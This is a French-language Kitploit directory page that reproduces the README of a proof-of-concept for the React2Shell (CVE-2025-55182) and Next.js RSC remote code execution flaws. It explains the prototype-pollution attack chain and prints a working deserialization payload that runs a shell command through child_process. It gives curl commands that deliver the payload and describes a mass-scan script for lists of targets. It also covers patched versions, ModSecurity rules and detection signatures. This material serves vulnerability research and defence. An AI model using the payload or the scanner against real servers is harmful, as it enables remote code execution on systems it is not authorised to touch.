Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-POC — MVP minimal pour reproduire les vulnérabilités React2Shell (CVE-2025-55182) et Next.js RSC RCE (CVE-2025-66478). Inclut une charge utile d'exploitation, un script de scan par lots et des règles ModSecurity WAF pour l'atténuation. | Kitploit
Outils/GitHubGitHub/huahuai23/cve-2025-55182-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

MVP minimal pour reproduire les vulnérabilités React2Shell (CVE-2025-55182) et Next.js RSC RCE (CVE-2025-66478). Inclut une charge utile d'exploitation, un script de scan par lots et des règles ModSecurity WAF pour l'atténuation.

Voir le dépôt
12il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Environnement de reproduction de CVE-2025-55182 / CVE-2025-66478

Ceci est un MVP minimal pour reproduire les vulnérabilités React2Shell (CVE-2025-55182) et Next.js RSC RCE (CVE-2025-66478).

⚠️ Avertissement

Ce projet est destiné uniquement à des fins de recherche et d'éducation en sécurité. Ne l'utilisez pas en production ou sur des systèmes non autorisés.

Aperçu des vulnérabilités

CVE-2025-55182 est une vulnérabilité critique dans les React Server Components, affectant :

  • React : 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js : ≥14.3.0-canary.77, ≥15, ≥16

Un attaquant peut exploiter une vulnérabilité de désérialisation dans le Flight Protocol via une requête multipart/form-data spécialement conçue, permettant une exécution de code à distance (RCE).

Principe de l'attaque

  1. Obtenir une référence de Chunk : utiliser la syntaxe $@N pour obtenir un objet Chunk interne
  2. Pollution du prototype : injecter une méthode then malveillante via $1:__proto__:then
  3. Déclencher l'exécution : l'action serveur appelle la méthode then polluée lors de l'await
  4. Détournement du constructeur : détourner _formData.get en constructeur Function
  5. Exécution de code : exécuter du code arbitraire via la désérialisation Blob

Démarrage rapide

1. Installer les dépendances

npm install
# ou
yarn install
# ou
pnpm install

2. Démarrer le serveur de développement

npm run dev

Le serveur démarrera sur http://localhost:3000.

3. Tester la vulnérabilité

Utilisez le script de test fourni :

# Test sur une cible unique
./test-exploit.sh http://localhost:3000

# Ou directement avec curl
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

Si la vulnérabilité est présente, vous verrez une sortie similaire à uid= (résultat de la commande id).

Structure des fichiers

.
├── app/
│   ├── actions.ts              # Actions serveur (point de déclenchement de la vulnérabilité)
│   ├── page.tsx                # Page principale
│   ├── layout.tsx              # Mise en page
│   └── globals.css             # Styles globaux
├── package.json                # Configuration des dépendances (versions affectées)
├── next.config.js              # Configuration Next.js
├── test-exploit.sh             # Script de test de vulnérabilité pour une cible unique
├── scan-targets.sh             # Script de scan en masse
├── exploit-payload.txt         # Fichier de charge utile de l'exploit
├── Cve-2025-55182-modsecurity-rules.conf      # Règles de protection ModSecurity
└── README.md                   # Ce fichier

Description des scripts de test

1. test-exploit.sh - Test sur une cible unique

Teste si une URL unique présente la vulnérabilité :

chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

Signature : si la réponse contient uid= ou gid=, la vulnérabilité est présente.

2. scan-targets.sh - Scan en masse

Scanne plusieurs URL cibles en masse :

# Créer le fichier de liste des cibles
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# Exécuter le scan en masse
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

Les résultats du scan sont sauvegardés dans vulnerable_hosts.csv.

Analyse de la structure de la charge utile

{
  "then": "$1:__proto__:then",           // Détournement de la méthode then
  "status": "resolved_model",             // Contrôle du chemin d'exécution
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // Déclenche la désérialisation Blob
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // Détournement en Function
    }
  }
}

Points clés :

  1. $@0 : référence au premier champ form-data, obtient l'objet Chunk
  2. $1:proto:then : accès à Chunk.prototype.then
  3. _response._prefix : code malveillant injecté (exécuté par le constructeur Function)
  4. $1:constructor:constructor : Object.constructor.constructor = Function

Solutions de correction

Solution 1 : Mise à niveau vers une version corrigée (recommandée)

  • React : 19.0.1, 19.1.2, 19.2.1 ou ultérieur
  • Next.js : 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 ou ultérieur
npm install [email protected] [email protected] [email protected]

Solution 2 : Déployer les règles WAF ModSecurity (atténuation temporaire)

Si la mise à niveau immédiate n'est pas possible, déployez les règles ModSecurity pour une atténuation temporaire.

Apache + mod_security

# 1. Installer mod_security
sudo apt-get install libapache2-mod-security2

# 2. Copier le fichier de règles
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. Inclure les règles dans la configuration Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# Ajouter : Include /etc/modsecurity/modsecurity-rules.conf

# 4. Redémarrer Apache
sudo systemctl restart apache2

Nginx + ModSecurity

# 1. Installer ModSecurity pour Nginx
sudo apt-get install libnginx-mod-security

# 2. Copier le fichier de règles
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. Activer dans la configuration Nginx
sudo vim /etc/nginx/nginx.conf
# Dans le bloc http ou server, ajouter :
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. Redémarrer Nginx
sudo systemctl restart nginx

Signatures de détection des règles

Les règles ModSecurity intercepteront les signatures suivantes :

  • ✅ Caractéristiques du Flight Protocol ($@N, $BN)
  • ✅ Pollution du prototype (__proto__, constructor:constructor)
  • ✅ Appels de modules Node.js dangereux (process.mainModule.require, require('child_process'))
  • ✅ Fonctions d'exécution de commandes (execSync, exec)
  • ✅ Manipulation d'objets internes (_response, _chunks, _formData, _prefix)
  • ✅ En-têtes de demande d'action serveur (Next-Action, RSC-Action-ID)

⚠️ Remarque : Les règles WAF ne sont qu'une mesure d'atténuation temporaire et n'offrent pas une protection complète. La mise à niveau vers une version corrigée est nécessaire.

Recommandations de sécurité

Si votre application est potentiellement affectée :

  1. Tester immédiatement : utilisez le script test-exploit.sh pour tester votre application
  2. Mettre à niveau immédiatement : mettez à niveau vers la version corrigée
  3. Rotation des clés : faites tourner toutes les variables d'environnement, clés API, mots de passe de base de données
  4. Auditer les journaux : vérifiez les journaux d'accès à la recherche de requêtes Next-Action suspectes
  5. Déployer un WAF : déployez les règles ModSecurity comme protection temporaire avant la mise à niveau

Commande curl de test rapide

Si vous souhaitez tester directement avec curl (sans script) :

curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

Si le résultat contient uid= ou gid=, la vulnérabilité est présente.

Références

Télécharger l’outil